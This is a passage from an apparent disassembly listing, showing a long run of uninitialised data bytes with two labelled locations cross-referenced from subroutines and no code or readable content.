		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
unk_807C82C	db    ?	;		; DATA XREF: sub_805A11C+58o
					; sub_805A11C+E1o ...
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
unk_807C9F0	db    ?	;		; DATA XREF: sub_805B144+22o
					; sub_805B144+30o ...
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
